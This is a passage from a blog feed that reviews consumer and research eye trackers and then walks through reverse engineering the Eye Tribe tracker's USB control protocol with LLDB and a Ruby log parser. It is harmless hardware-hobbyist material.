the EyeX software in a VMWare Fusion VM and &lt;a href=&quot;https://gist.github.com/trishume/b25492f25fc8ebe01dd9&quot;&gt;piping the data to my mac over UDP&lt;/a&gt;. Two caveats are that in order to switch to the mac and have tracking continue you have to &lt;a href=&quot;http://dannyman.toldme.com/2014/05/15/vmware-retina-thunderbolt-constant-resolution/&quot;&gt;lock the
VM’s screen resolution&lt;/a&gt;. Also if the load gets too high on the VM sometimes the tracker will stop
and take a couple seconds before it automatically restarts, this is only an issue in VMs and can be mostly avoided by running no other programs on the Windows VM.&lt;/p&gt;

&lt;h4 id=&quot;pros-1&quot;&gt;Pros:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Extremely robust to head motion: your calibration will last practically forever. You can move your head around as much as you want and still maintain decent (2-3 degrees accuracy) tracking.
This means you don’t have to calibrate every time you sit down, just keep your one calibration for an arbitrarily long time. The magnetic mount is extremely repeatable so it doesn’t need to be recalibrated.&lt;/li&gt;
  &lt;li&gt;Good accuracy even on large screens: Although the accuracy degrades near corners, in general the tracker gives me ~2-3 degrees of accuracy, which is quite decent.&lt;/li&gt;
  &lt;li&gt;Comes with very nice software. The SDK is nice and the software gives you a nice calibration test screen, a very pretty gaze trace, and some handy eye tracking desktop enhancements like warping your mouse cursor.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;cons-1&quot;&gt;Cons:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Low precision. There is quite a bit of jitter, but it is bounded (it is almost never more than 2cm from the center of the jitter), so can be mostly eliminated by filtering.&lt;/li&gt;
  &lt;li&gt;Windows only.&lt;/li&gt;
  &lt;li&gt;You may not record gaze data. This is a developer SDK term meant to make you buy Tobii’s more expensive trackers, it is not an issue if you’re developing interaction techniques or just using the tracker.&lt;/li&gt;
  &lt;li&gt;Your head needs to be relatively low with respect to the monitor. I prefer my head to be near the top of my monitor but this is outside the non-adjustable view of the tracker from the monitor’s bottom edge.
You can fix this by tilting your monitor upwards, I was lucky that my monitor had an adjustable stand.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;edit-tobii-4c-new-best-consumer-eye-tracker&quot;&gt;[Edit] Tobii 4C: New best consumer eye tracker&lt;/h1&gt;

&lt;p&gt;I’ve now had a chance to use the &lt;a href=&quot;https://tobiigaming.com/eye-tracker-4c/&quot;&gt;Tobii 4C&lt;/a&gt; for a while and it’s fantastic. Everything I said about the EyeX above applies, with the following new notes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;All the processing is now done on the device, this means very low CPU and USB loads. It now works flawlessly in VMWare Fusion.&lt;/li&gt;
  &lt;li&gt;Accuracy is similar or maybe somewhat better. It’s the most accurate eye tracker I’ve used personally.&lt;/li&gt;
  &lt;li&gt;Tobii is now working on a macOS implementation of the Stream Engine SDK (the low level C API). I’ve tried out an alpha and it works quite well. I used it to implement &lt;a href=&quot;https://github.com/trishume/FusionMouse&quot;&gt;FusionMouse&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;I tried it out in combination with a TrackIR 5 and it didn’t interfere with the tracking much, which let me combine eye tracking and head tracking that is higher accuracy than the tracking Tobii provides on Windows. I remember having problems when I tried the TrackIR with the EyeX, so either they fixed something or my setup changed enough that it works now.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The restrictions on recording data still apply though, so it’s still difficult to legally use for research, other than research on interactive eye tracking systems.&lt;/p&gt;

&lt;p&gt;Another tip I picked up: The adhesive on the magnetic strips for attaching the 4C/EyeX to a monitor have very strong permanent adhesive that’s difficult to remove without breaking or bending anything. If you use double-sided foam tape you can attach the strip to a monitor in a way that’s much easier to remove. The extra distance also enables it to be mounted on some laptops.&lt;/p&gt;

&lt;h1 id=&quot;the-eye-tribe-tracker-good-but-doesnt-work-well-for-me&quot;&gt;The Eye Tribe Tracker: Good but doesn’t work well for me&lt;/h1&gt;

&lt;p&gt;The &lt;a href=&quot;http://theeyetribe.com/&quot;&gt;Eye Tribe tracker&lt;/a&gt; (I have the older $100 model) is a great piece of hardware at a great price, unfortunately it barely works for me.
I’ve seen it work well for other people in videos so I’m not claiming this is a common problem, just one that I invariably experience. I’ve tried it in tons of environments
with different computers, positions and eyewear. After &lt;a href=&quot;http://thume.ca/2016/02/02/a-reverse-engineering-adventure-eye-tribes-usb-protocol/&quot;&gt;reverse engineering&lt;/a&gt; it I think I have identified
the problem as due to extra glints on the side of my eyes when looking away from the center of my screen. I can calibrate in the center and get ~4 degrees of accuracy within a 1000 x 1000px area, but that isn’t great.&lt;/p&gt;

&lt;p&gt;As such, I’ve restricted my Pros and cons to discussing other issues than accuracy:&lt;/p&gt;

&lt;h4 id=&quot;pros-2&quot;&gt;Pros:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Great price, only $100.&lt;/li&gt;
  &lt;li&gt;Works on OSX. This is better than the Tobii EyeX so if you’re looking for a consumer tracker on OSX try the Eye Tribe.&lt;/li&gt;
  &lt;li&gt;A great high speed high resolution infrared camera: I &lt;a href=&quot;http://thume.ca/2016/02/02/a-reverse-engineering-adventure-eye-tribes-usb-protocol/&quot;&gt;reverse engineered&lt;/a&gt; the control codes so you can use it for other purposes like motion tracking or writing your own eye tracking algorithms. This can’t be done easily with the EyeX since it uses a much more locked down custom USB protocol.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;cons-2&quot;&gt;Cons:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Tripod mount means that if you bump it, pull the cable, or bump your monitor, you’ll have to recalibrate. This is in contrast to the sentry, which mounts directly to your monitor.
If you’re ambitious you could improve your own clamping mount for the eye tribe tracker or fix the tripod and monitor in place.&lt;/li&gt;
  &lt;li&gt;Limited software: The software does very little compared to Tobii’s and Pupil’s software. It is basically just a calibration and API server.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;tobii-x2-30-great-but-overpriced&quot;&gt;Tobii X2-30: Great but overpriced&lt;/h1&gt;

&lt;p&gt;My lab has a &lt;a href=&quot;http://www.tobiipro.com/product-listing/tobii-pro-x2-30/&quot;&gt;Tobii Pro X2-30&lt;/a&gt; which in many ways is similar to the Tobii EyeX. The main hardware difference is that it uses two cameras instead of one, but I assume they are
lower resolution since it only needs USB 2.0 bandwidths instead of USB 3.0. The main legal difference is that you are allowed to record the gaze data with the pro models. The main practical difference is that the X2-30 costs over &lt;strong&gt;50 TIMES&lt;/strong&gt; as much. The price is not public and I imagine they quote different prices to different people. I’m not sure if my lab signed any agreements with regards to giving away the price so I’ll just say we paid somewhere over 50x the price of an EyeX.&lt;/p&gt;

&lt;p&gt;The pros/cons and tracking performance are very similar to the Tobii EyeX. Unless you are doing a study where you need to record gaze data, the 50x increase in price is not worth it in my opinion.&lt;/p&gt;

&lt;h4 id=&quot;pros-3&quot;&gt;Pros:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Extremely robust to head motion: your calibration will last practically forever. You can move your head around as much as you want and still maintain decent (2-3 degrees accuracy) tracking.
This means you don’t have to calibrate every time you sit down, just keep your one calibration for an arbitrarily long time. The magnetic mount is extremely repeatable so it doesn’t need to be recalibrated.&lt;/li&gt;
  &lt;li&gt;Good accuracy: Although the accuracy degrades near corners, in general the tracker gives ~2.0 degrees of accuracy when not using a chin rest, which is quite good and slightly better than the EyeX.&lt;/li&gt;
  &lt;li&gt;Comes with very nice software. The SDK is nice and the software gives you a nice calibration test screen, a very pretty gaze trace, and some handy eye tracking desktop enhancements like warping your mouse cursor.&lt;/li&gt;
  &lt;li&gt;The new Analytics SDK 3.0 allows use with OSX and Linux.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;cons-3&quot;&gt;Cons:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;The nice EyeX software it works with is Windows-only.&lt;/li&gt;
  &lt;li&gt;Only specified to work on relatively small monitors by modern standards (22” diagonal).&lt;/li&gt;
  &lt;li&gt;I found that sometimes the tracked gaze would jump for half a second or so to a wildly inaccurate position ~15cm away from where I was looking. This is bad because it is harder to filter out and distinguish from a saccade.&lt;/li&gt;
  &lt;li&gt;Crazy expensive. This is not unique to Tobii. Basically every eye tracker intended for research (except the Pupil) is absurdly overpriced. Many research eye trackers cost in the range of $50,000.&lt;/li&gt;
  &lt;li&gt;Your head needs to be relatively low with respect to the monitor. I prefer my head to be near the top of my monitor but this is outside the non-adjustable view of the tracker from the monitor’s bottom edge.
You can fix this by tilting your monitor upwards, I was lucky that my monitor had an adjustable stand.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;xlabs-gaze-chrome-plugin-best-webcam-only-eye-tracker&quot;&gt;XLabs Gaze Chrome Plugin: Best webcam only eye tracker&lt;/h1&gt;

&lt;p&gt;The &lt;a href=&quot;https://xlabsgaze.com/&quot;&gt;XLabs&lt;/a&gt; chrome plugin allows you to do eye tracking on a web page using only a webcam and no special hardware.
I’ve only ever had good results when trying out their &lt;a href=&quot;https://eyesdecide.com/&quot;&gt;EyesDecide&lt;/a&gt; software, although I was also in a different environment when I tried it that way.&lt;/p&gt;

&lt;h4 id=&quot;pros-4&quot;&gt;Pros:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Basically your only option for eye tracking without special hardware. Allows you to do things like web usability eye tracking studies with only a laptop.&lt;/li&gt;
  &lt;li&gt;Free! The SDK is currently free to use, although that may change, and you don’t have to buy hardware.&lt;/li&gt;
  &lt;li&gt;Rather decent tracking. Quite impressive for a webcam tracker, can achive 2-4 degree accuracies varying extensively by person, environment and calibration.&lt;/li&gt;
  &lt;li&gt;Fully cross platform, because it is just a Chrome plugin.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;cons-4&quot;&gt;Cons:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Very long calibration process: If you want good results you need to go through a very long sequence of calibration dots, on the order of 30.&lt;/li&gt;
  &lt;li&gt;Very short lived calibration. It is not as robust to head motion as other trackers and becomes miscalibrated within a few minutes unless you are constantly calibrating with their dynamic calibration.&lt;/li&gt;
  &lt;li&gt;Very sensitive to lighting. You need bright light on your face, sitting near a window is best. If the lighting isn’t right it can sometimes barely work at all.&lt;/li&gt;
  &lt;li&gt;You can only use it within Chrome. No desktop apps.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;others&quot;&gt;Others&lt;/h1&gt;

&lt;p&gt;There are tons of crazy expensive research eye tracking systems that I haven’t tried for exactly that reason: they cost way too much. I’m sure some of them are quite excellent, but they cost as much of a car for hardware that certainly
isn’t 1/10th that expensive to manufacture.&lt;/p&gt;

&lt;p&gt;There’s two other sub-$1000 eye trackers I have not tried but I have read a bit about:&lt;/p&gt;

&lt;h4 id=&quot;gazepoint-gp3&quot;&gt;Gazepoint GP3&lt;/h4&gt;

&lt;p&gt;The &lt;a href=&quot;http://www.gazept.com/product/gazepoint-gp3-eye-tracker/&quot;&gt;Gazepoint GP3&lt;/a&gt; is $500 and internally uses a &lt;a href=&quot;https://www.ptgrey.com/case-study/id/10423&quot;&gt;Point Grey camera&lt;/a&gt; which probably has a 752x480 resolution, which is much lower than the Eye Tribe tracker.
The only advantage it might have over the Eye Tribe is that it uses bright pupil tracking (so perhaps more robust) and their software might be better, but likely is not. Gazepoint’s software is also Windows only.
I see no reason to consider this tracker over the cheaper and seemingly much better Tobii EyeX.&lt;/p&gt;

&lt;h4 id=&quot;mygaze&quot;&gt;MyGaze&lt;/h4&gt;

&lt;p&gt;The &lt;a href=&quot;http://www.mygaze.com/&quot;&gt;MyGaze&lt;/a&gt; seems to be the deluxe consumer eye tracker. I haven’t bought it since it is outside my “just trying it out” budget when I already personally own 2 consumer eye trackers.
However, there seems to be some glowing recommendations online from people who have tried other consumer eye trakers calling it the best of everything low cost. It is also made by engineers from SMI which is a
super fancy expensive high quality research eye tracker company. There’s some recommendations and a video (that shows incredible &amp;lt;1 degree accuracy) &lt;a href=&quot;http://www.apparelyzed.com/forums/topic/37302-questions-about-smis-500-mygaze-vs-200-eye-tribe-tracker-pro/&quot;&gt;on this forum thread&lt;/a&gt;. If you have the budget for it I recommend you try this tracker out (and then let me know how you like it).&lt;/p&gt;

&lt;p&gt;One downside is that although the hardware only costs $500, you have to pay $900 to also get the developer SDK, unlike every other consumer eye tracker which gives away the SDK for free with the tracker.&lt;/p&gt;

&lt;h4 id=&quot;the-eye-tribe-pro&quot;&gt;The Eye Tribe Pro&lt;/h4&gt;

&lt;p&gt;The Eye Tribe is soon going to release a new tracker with new algorithms and supposedly better tracking on many dimensions for $200. I have no idea how good it will be or how it will compare to other low cost eye trackers.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>A Reverse Engineering Adventure: Eye Tribe's USB Protocol</title>
   <link href="https://thume.ca/2016/02/02/a-reverse-engineering-adventure-eye-tribes-usb-protocol/"/>
   <updated>2016-02-02T00:00:00+00:00</updated>
   <id>https://thume.ca/2016/02/02/a-reverse-engineering-adventure-eye-tribes-usb-protocol</id>
   <content type="html">
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; See bottom of the article for recent progress. I’ve managed to get a full 10-bit high def video feed and have released example code.&lt;/p&gt;

&lt;p&gt;In 2014 I bought an &lt;a href=&quot;http://theeyetribe.com/&quot;&gt;Eye Tribe eye tracker&lt;/a&gt; hoping to work on some neat eye tracking projects.
Unfortunately I’ve never been able to reach the fingertip level accuracy they claim and that I have seen in videos.
I always get around +/- 5cm (2 inches) or more of jitter. Recently I’ve been working on eye tracking research again
and I thought I would take a crack at debugging my accuracy issues.&lt;/p&gt;

&lt;p&gt;There’s just one problem: The Eye Tribe’s tracking software is closed source and doesn’t have a debug view or a raw camera
feed API. I’ve been wanting to try my hand at reverse engineering lately so I set myself the goal of reverse engineering
the tracker’s USB protocol so that I could turn the tracker’s IR lights on and capture the IR video feed.&lt;/p&gt;

&lt;p&gt;The Eye Tribe tracker is really just a USB 3.0 &lt;a href=&quot;https://en.wikipedia.org/wiki/USB_video_device_class&quot;&gt;UVC&lt;/a&gt; camera (the standard webcam protocol) that shoots
in monochrome IR. It also has bright IR LEDs that light up the user’s face since there isn’t much ambient IR indoors.
Capturing the video is easy, the hard part is that the LEDs are controlled through a proprietary extension to the USB video camera protocol.&lt;/p&gt;

&lt;p&gt;Thus I started on my quest to discover the special commands that would turn on those LEDs. In the end I figured out some cool techniques,
and helped diagnose out my issue (haven’t solved it yet though). What could be useful to others is that the Eye Tribe is effectively
a low cost (&lt;a href=&quot;https://www.ptgrey.com/&quot;&gt;alternatives&lt;/a&gt; are &amp;gt;$500), high resolution, high frame rate IR camera with built in illuminators.
This could be used for all sorts of computer vision projects like a cheap &lt;a href=&quot;http://www.vicon.com/&quot;&gt;Vicon&lt;/a&gt; style motion capture system or an
open source eye tracker.&lt;/p&gt;

&lt;h2 id=&quot;exploration&quot;&gt;Exploration&lt;/h2&gt;

&lt;p&gt;I started by &lt;a href=&quot;http://superuser.com/questions/781982/how-can-i-install-usb-prober-from-the-developer-sdk-on-mac-os-x&quot;&gt;installing USB Prober&lt;/a&gt;, a dev tool that lets you inspect the metadata of devices connected by USB. You can get practically the same
information in the USB section of the built in “System Information” app but I installed USB Prober in case it gave more info.&lt;/p&gt;

&lt;p&gt;I started looking through the &lt;a href=&quot;https://github.com/trishume/EyeTribeReversing/blob/master/USBProber.txt&quot;&gt;USB info dump for the Eye Tribe tracker&lt;/a&gt; and
discovered some good clues. First of all that it was a UVC camera, and that it was only a UVC camera, no other fancy USB control endpoints.
I also noticed that there was a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VDC (Control) Extension Unit&lt;/code&gt; interface: this was probably where the custom lights control messages could be sent.&lt;/p&gt;

&lt;p&gt;I also figured out some other interesting things like the camera module being manufactured by &lt;a href=&quot;https://www.leopardimaging.com/&quot;&gt;Leopard Imaging&lt;/a&gt;
and that it could capture high resolution 2304x1536 video at 27fps (that’s more than 1080p) and 768x1024 at 60fps. There are also a bunch of intermediate
resolutions it can do at intermediate frame rates.&lt;/p&gt;

&lt;h2 id=&quot;attempting-to-log&quot;&gt;Attempting to Log&lt;/h2&gt;

&lt;p&gt;My next step was to try and log the USB traffic between the tracker and the eye tracking data server program The Eye Tribe provides.
Unfortunately, Apple hasn’t updated the kernel extensions for USB logging for the latest OSs. Last time I tried installing them I nearly
bricked my laptop because it couldn’t read any USB HID input, including the internal USB hub for the laptop’s keyboard and trackpad.
I only rescued it by copying the Kext files from the recovery partition onto my main drive, I started backing up my entire disk instead of just
my important files after that incident.&lt;/p&gt;

&lt;p&gt;So instead I took the advice in &lt;a href=&quot;http://lists.apple.com/archives/usb/2015/Jan/msg00004.html&quot;&gt;this mail thread&lt;/a&gt; and tried &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;usbtrace&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dtrace&lt;/code&gt;
instead. Unfortunately &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;usbtrace&lt;/code&gt; showed megabytes per minute of all my system’s USB traffic in a not very useful format.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dtrace&lt;/code&gt; showed me that control messages were being sent by the tracking server, and from what call stack, but not which messages and what they contained.&lt;/p&gt;

&lt;h2 id=&quot;disassembly&quot;&gt;Disassembly&lt;/h2&gt;

&lt;p&gt;After logging failed, I tried a different approach. I downloaded the trial of &lt;a href=&quot;http://www.hopperapp.com/&quot;&gt;Hopper 3&lt;/a&gt; and loaded up the Eye Tribe server executable.
Most of the method names were just numbered symbols but I managed to find an Objective C method called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setUvcControl:withValue:&lt;/code&gt; that belonged to a class called
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UVCCameraControl&lt;/code&gt;. I tried tracing the callers to see if I could find any obvious light control code, but with no function symbol names, no source code, and
only vaguely knowing x86_64 assembly, I wasn’t able to do it.&lt;/p&gt;

&lt;p&gt;Instead I used &lt;a href=&quot;http://stevenygard.com/projects/class-dump/&quot;&gt;class-dump&lt;/a&gt; on the server executable to look at the other methods. I Googled some of the method names
and found &lt;a href=&quot;http://phoboslab.org/log/2009/07/uvc-camera-control-for-mac-os-x&quot;&gt;it was open source&lt;/a&gt; (code on &lt;a href=&quot;https://github.com/HBehrens/CamHolderApp/blob/master/CamHolderApp%2FUVCCameraControl.m&quot;&gt;Github here&lt;/a&gt;). Now I had the source code for the mechanism used to send the messages, but I didn’t know what they were called with.&lt;/p&gt;

&lt;p&gt;I read through the source of that class and started looking at the &lt;a href=&quot;http://www.cajunbot.com/wiki/images/8/85/USB_Video_Class_1.1.pdf&quot;&gt;UVC protocol spec&lt;/a&gt; to make sense of what I found.
I learned that auxiliary parameters of a camera are controlled and inspected by UVC control requests like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SET_CUR&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET_CUR&lt;/code&gt; on different interfaces and with different control selectors.
I figured out through reading the source code that the bit fields described in the protocol corresponded with the fields of OSX’s &lt;a href=&quot;https://developer.apple.com/library/mac/documentation/Kernel/Reference/USB_kernel_header_reference/index.html#//apple_ref/c/tdef/IOUSBDevRequest&quot;&gt;IOUSBDevRequest&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;debugging&quot;&gt;Debugging&lt;/h2&gt;

&lt;p&gt;I started on a new approach to try and log the control requests sent by the server through intercepting the method calls made by it.
If I could print out the contents of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IOUSBDevRequest&lt;/code&gt; structs being sent, I could probably figure out which ones turned on the lights. So I fired up &lt;a href=&quot;http://lldb.llvm.org/&quot;&gt;LLDB&lt;/a&gt;
and set a breakpoint at the hex address of &lt;a href=&quot;https://github.com/HBehrens/CamHolderApp/blob/master/CamHolderApp%2FUVCCameraControl.m#L255&quot;&gt;sendControlRequest:&lt;/a&gt; from the disassembly.&lt;/p&gt;

&lt;p&gt;I started the server with the tracker connected and LLDB hit the breakpoint, but since there were no debug symbols, all I could look at was registers and assembly.
I had no idea what the calling conventions were for Objective-C code and looking them up and peeking at some memory didn’t seem to find the right things.
So I kept stepping and reached down into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IOUSBInterfaceClass::interfaceControlRequest(void*, unsigned char, IOUSBDevRequest*)&lt;/code&gt; which although it didn’t have debug info,
at least had an unobfustucated function name. I Googled this and found that Apple &lt;a href=&quot;http://www.opensource.apple.com/source/IOUSBFamily/IOUSBFamily-203.4.7/IOUSBLib/Classes/IOUSBInterfaceClass.cpp&quot;&gt;published the source code&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;The registers and assembly weren’t helping me very much until after an hour or two I figured out how to find where the struct I wanted was located.
The source code for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IOUSBInterfaceClass::interfaceControlRequest(void*, unsigned char, IOUSBDevRequest*)&lt;/code&gt; showed it copying a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IOUSBDevRequest&lt;/code&gt; into an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IOUSBDevRequestTO&lt;/code&gt; and not much else.
So I looked at the dissassembly for that method in the debugger and saw a bunch of mov instructions copying the fields of the struct. They all looked something like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x100ae2fb0 &amp;lt;+14&amp;gt;: movb   %al, -0x28(%rbp)
0x100ae2fb3 &amp;lt;+17&amp;gt;: movb   0x1(%rbx), %al
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Aha! At that point the struct I want must be pointed to by register &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%rbp&lt;/code&gt;. I stepped to that point, and after a figuring out the right casting and pointer indirection I printed out the second byte:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(lldb) e (int)((char*)$rbx)[1]
(int) $22 = 129
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The second byte of the struct I wanted should be the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UInt8 bRequest&lt;/code&gt; field which should correspond to one of the &lt;a href=&quot;https://github.com/HBehrens/CamHolderApp/blob/master/CamHolderApp%2FUVCCameraControl.h#L16&quot;&gt;constants in the UVCCameraControl&lt;/a&gt;. Sure enough after using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;irb&lt;/code&gt; to convert &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;129&lt;/code&gt; to hex I got &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x81&lt;/code&gt; which is the request code for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UVC_GET_CUR&lt;/code&gt;, I had found it!&lt;/p&gt;

&lt;h2 id=&quot;logging-for-real-this-time&quot;&gt;Logging (for real this time)&lt;/h2&gt;

&lt;p&gt;Now I needed to figure out how to print out the other fields and the data pointed to by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;void *pData&lt;/code&gt; field. All fast enough so that the tracking server wouldn’t get messed up.
My strategy for this was to try and script LLDB to break at the exact right instruction, print out all of the fields, and then continue automatically.&lt;/p&gt;

&lt;p&gt;I read about LLDB’s Python scripting capabilities, but the Python interface was poorly documented and could only really do anything with debug info, which I didn’t have.&lt;/p&gt;

&lt;p&gt;So instead I figured out all the right casting invocations to print out the fields of the struct, which took a while.
Then I figured out the exact offset from the start of the dynamic library I wanted to break at (the absolute address changed every time I started up the tracking server), set a breakpoint there
and added a breakpoint command which printed the fields and then continued:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;breakpoint set -a &amp;lt;address of IOUSBLib I found&amp;gt;+0x7fae
breakpoint command add 1
e ((uint64_t*)$rbx)[0]
e ((uint64_t*)$rbx)[1]
p *(uint32_t(*)[15])(((uint32_t**)$rbx)[1])
e ((uint32_t*)$rbx)[4]
c
DONE
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then I ran the code, connected the eye tracker, started the tracking UI (which turns on the lights), waited a bit, and shut down the tracking UI (turning off the lights).
It output a bunch of data which I copy pasted into some &lt;a href=&quot;https://github.com/trishume/EyeTribeReversing/blob/master/log2.txt&quot;&gt;text&lt;/a&gt; &lt;a href=&quot;https://github.com/trishume/EyeTribeReversing/blob/master/log3.txt&quot;&gt;files&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;analysis&quot;&gt;Analysis&lt;/h2&gt;

&lt;p&gt;Now I had a log of the control requests, but as a couple 64 bit decimal integers in a copy-pasted LLDB log. So I had to write a script to parse out the various fields of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IOUSBDevRequest&lt;/code&gt; struct.
I did this in Ruby, eventually producing &lt;a href=&quot;https://github.com/trishume/EyeTribeReversing/blob/master/parsedump.rb&quot;&gt;this script&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;First I had to parse the format, then I used bitwise operators to extract the various fields of the struct out of the integers and into fields of a Ruby hash.
Now I had the raw data from the struct, but all the fields were still opaque numbers: next I had to interpret them.&lt;/p&gt;

&lt;p&gt;I started by going back to the &lt;a href=&quot;http://www.cajunbot.com/wiki/images/8/85/USB_Video_Class_1.1.pdf&quot;&gt;UVC protocol spec&lt;/a&gt; and copy-pasted some of the name tables in the appendix into hash literals in my script. I tried using these to map the numbers to names, but ended up with weird results. Then came a couple hours of fiddling, confusion and reading, as well as looking at &lt;a href=&quot;https://github.com/HBehrens/CamHolderApp/blob/master/CamHolderApp%2FUVCCameraControl.m#L286&quot;&gt;how the records were constructed&lt;/a&gt; and correlating that with the spec. After the 5th try at mapping I figured out which fields came from where: I had to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Terminal ID&lt;/code&gt; from USB Prober to decide which table to look up the control selector (high byte of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wValue&lt;/code&gt; field) in based on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unitID&lt;/code&gt; field (high byte of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wIndex&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Finally I got results that made sense: before the lights turned on the server sent a couple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UVC_SET_CUR&lt;/code&gt; requests to the extension unit. It looked like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{:bmRequestType=&amp;gt;33, :bRequest=&amp;gt;1, :wValue=&amp;gt;768, :wIndex=&amp;gt;768, :wLength=&amp;gt;2, :selector=&amp;gt;3, :unitId=&amp;gt;3, :req=&amp;gt;&quot;UVC_SET_CUR&quot;, :unit=&amp;gt;&quot;VC_EXTENSION_UNIT&quot;}
[15, 0]
{:bmRequestType=&amp;gt;33, :bRequest=&amp;gt;1, :wValue=&amp;gt;1024, :wIndex=&amp;gt;512, :wLength=&amp;gt;2, :selector=&amp;gt;4, :unitId=&amp;gt;2, :req=&amp;gt;&quot;UVC_SET_CUR&quot;, :unit=&amp;gt;&quot;VC_PROCESSING_UNIT&quot;, :msg=&amp;gt;&quot;PU_GAIN_CONTROL&quot;}
[63, 0]
{:bmRequestType=&amp;gt;33, :bRequest=&amp;gt;1, :wValue=&amp;gt;1024, :wIndex=&amp;gt;768, :wLength=&amp;gt;8, :selector=&amp;gt;4, :unitId=&amp;gt;3, :req=&amp;gt;&quot;UVC_SET_CUR&quot;, :unit=&amp;gt;&quot;VC_EXTENSION_UNIT&quot;}
[250, 0, 240, 0, 250, 0, 240, 0]
{:bmRequestType=&amp;gt;33, :bRequest=&amp;gt;1, :wValue=&amp;gt;1536, :wIndex=&amp;gt;768, :wLength=&amp;gt;2, :selector=&amp;gt;6, :unitId=&amp;gt;3, :req=&amp;gt;&quot;UVC_SET_CUR&quot;, :unit=&amp;gt;&quot;VC_EXTENSION_UNIT&quot;}
[44, 1]
{:bmRequestType=&amp;gt;33, :bRequest=&amp;gt;1, :wValue=&amp;gt;512, :wIndex=&amp;gt;768, :wLength=&amp;gt;4, :selector=&amp;gt;2, :unitId=&amp;gt;3, :req=&amp;gt;&quot;UVC_SET_CUR&quot;, :unit=&amp;gt;&quot;VC_EXTENSION_UNIT&quot;}
[0, 0, 0, 0]
{:bmRequestType=&amp;gt;33, :bRequest=&amp;gt;1, :wValue=&amp;gt;1024, :wIndex=&amp;gt;512, :wLength=&amp;gt;2, :selector=&amp;gt;4, :unitId=&amp;gt;2, :req=&amp;gt;&quot;UVC_SET_CUR&quot;, :unit=&amp;gt;&quot;VC_PROCESSING_UNIT&quot;, :msg=&amp;gt;&quot;PU_GAIN_CONTROL&quot;}
[51, 0]
... more of the same message with small adjustments to the gain around level 51 ...
